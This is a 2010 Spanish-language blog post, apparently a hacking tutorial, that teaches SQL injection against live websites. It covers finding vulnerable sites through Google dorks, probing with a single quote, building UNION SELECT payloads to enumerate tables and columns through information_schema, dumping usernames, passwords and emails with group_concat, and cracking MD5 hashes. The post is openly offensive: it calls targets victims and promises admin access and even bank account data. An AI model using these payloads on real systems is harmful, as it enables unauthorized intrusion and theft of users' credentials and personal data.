GutytoX

SQL inyeccion

SQL inyeccion

Posted by GutytoX el 14 de Novimbre de 2010.  •  Comments (64)  • 

SQL Inyeccion, Este tutorial fue creado por D14M4NT3, y veremos como se hace una inyeccion SQL paraatacar una web, espero hayan leido algo del tema por su cuenta, dado que es bastante dificil encontrar palabras para explicar desde el principio jejeje..

Empezamos.

Primero como su nombre lo indica, SQL inyeccion se refiere a inyeccion de SQL en la web, ¿esto de que nos sirve?, jajaja!!... imaginate que desde tu navegador puedas ver la base de datos de la web victima y puedas ver todos sus archivos en la base de datos, tales como: user's, pass, email, y cuentas bancarias, seria de lujo no? jejeje..  bueno continuemos, la inyeccion sucede por medio del navegador mas explicitamente en la parte de la URL. Creo que seria mejor explicado por un ejemplo o algo asi.


1. Vamos a buscar una web vulnerable y para esto utilizamos google.com asi que vamos a utilizar un dork, osea algo explicito con lo cual se identifican las web vulnerables por este metodo, algo como esto: "inurl: deporte.ephp?id=" tu le puedes cambiar la parte de deporte por alguna otra cosa, como: "news, publico, o cualquier cosa" despues google como siempre busca, web por web, asi que tenemos que escoger cualquiera y probar una..


2. vamos a probar alguna, por ejemplo: http://victima.com/deporte.php?id=24 en la parte de "victima va la original jeje.." ahorapara probarla solo tenemos que eliminar el numero 24 o el numero final en este caso el 24 y lo remplazamos por ( ' ) por una comilla simple, lo cual quedari asi: http://victima.com/deporte.php?id='  ahora miramos, y si en la web aparecen errores como: " error MySQL o cosas por el estilo, entonces sabemos que la web es vulnerable que bonita sonrisa tienes jejeje..


3. Ahora vamos a ingresar comandos SQL para mirar la base de datos, ahora le quitamos ( ' ) y le agregamos -1+union+select+1-- puede ser que no entiendan que significa eso, asi que pueden buscar en google SQL y aprenden un poco jejeje.. tonces la url quedaria asi: http://victima.com/deporte.php?id=-1+union+select+1-- miramos la web y si persiste el error, entonces quiere decir que no hemos encontrado la parte vulnerable, asi que tendremos que seguir agregando numeros de esta forma:


-1+union+select+1,2--
-1+union+select+1,2,3--
-1+union+select+1,2,3,3--
-1+union+select+1,2,3...n--


tenemos que detenernos cuando en la web victimas desaparesca el error anterior, osea el error SQL o algo por el estilo y aparescan unos numeros, por ejemplo digamos que vamos en el numero -1+union+select+1,2,3,4-- y a desaparecido el error y en la web aparecieron estos numero 2 3 4 , esto quiere decir que hemos encontrado la parte vulnerable, asi que ahora escogemos cualquier numero de los anteriores que nos aparecieron, por ejemlo el 3, asi que remplazamos el mismo numero en la url por: table_name , asi que la URL quedara asi: http://victima.com/deporte.php?id?-1+union+select+1,2,table_name,4--


4. Ahora nos apareceran unos nombre de tablas o muchas veces no aparecera nada, esto no  quiere decir que no podemos, simplemente le agregamos esto ala URL : +from+information_schema.tables-- y el en la parte donde estava el 3, osea el table_name lo remplazamos por group_concat(table_name)  osea que la URL quedara asi: http://victima.com/deporte.php?id=-1+union+1,2,group_concat(table_name),4+from+information_schema.tables-- con esto nos salen los nombre de las tablas, ahora debemos buscar entre todos esos nombres separados por ( , ) una tabla importante como alguna que se llame User o pass..


5. Suponiendo que encontramos la tabla User, ahora intentaremos sacar los datos o columnas que tiene adentro,  asi que donde estava group_concat(table_name) la remplazamos por column_name y al final le agregamos where+table_name=char( tabla en ASCII )-- voy a explicar esta parte, con esto estamos diciendo que busque las columnas que estan en la tabla tal- tal- tal- pero en este caso la tabla en la que estamos buscando debe estar en ASCII, asi que buscamos en internet un encriptador de ASCII, o utilizamos este http://home2.paulschou.net/tools/xlate/ asi que ponemos el nombre de la tabla en este caso User el cual en ASCII equivale a: 85 115 101 114 entonces la url quedaria asi:


http://victima.com/deporte.php?id=-1+union+select+1,2,column_name,4+from+information_schema.columns+where+table_name=char(85 115 101 114)--


Ahora ya podemos ver que columnas tiene la tabla User, y miramos que tiene: user, pass, email por fin hemos llegado a algo importante, ahora si podemos tener el user y pass del administrador podemos entrar como admin ala web y hacer cualquier cosa, pero ahora para poder ver que hay dentro de esas columnas, tenemos que hacer esto:


http://victima.com/deporte.php?id=-1+union+select+1,2,group_concat(user, 0x3a, pass, 0x3a, email),4+from+User--


aqui podemos observar que en group_concat estamos reuniendo los datos: user, pass e email, con el group_concat miramos todos los datos de una vez y no tener que buscar uno por uno, muchos estaran pensado que es 0x3a, esto equivale a ( :: ) doble par de puntos para separar cada dato, y asi no tener tanto desorden con grandes bases de datos, debemos tomar en cuenta que los nombres que estan en group_concat son los de las columnas por consiguiente se deben respetar mayusculas y minusculas, ahora podemos observar la ultima parte, +from+User-- esto quiere decir que busque estas columnas de esta tabla, tambien se respetan mayusculas de minusculas, y con esto deben aparecer los datos que queremos...


Nota: muchas veces podran observar que en el campo de pass o password, aparecen codigos como estos : 8f9bfe9d1345237cb3b2b205864da075  no se asusten, jejeje.. simplemente algunos webmaster encriptan las contraseñas generalmente en MD5 para mas seguridad, pero nosotros podemos usar google para encontrar la pass, pero no quiere decir que siempre la encontremos, dado que el MD5 no se puede desencriptar pero podemos provar la igenuidad del webmaster cuando colocan contraseñas faciles como: 1234, admin, root o cosas asi..


eso te lo dejo de tarea, o despues publico algo al respecto jejeje
si miras bien es facil hacer esto, solo seguir pasos o si tu sabes del tema podras hacer mas cosas, busquen en internet SQL injeccion y tendran mucha informacion para complementar..


Hack
by
D14M4NT3

 


En este momento hay 12 visitantes (19 clics a subpáginas) Con sed de conocimiento!
Este sitio web fue creado de forma gratuita con PaginaWebGratis.es. ¿Quieres también tu sitio web propio?
Registrarse gratis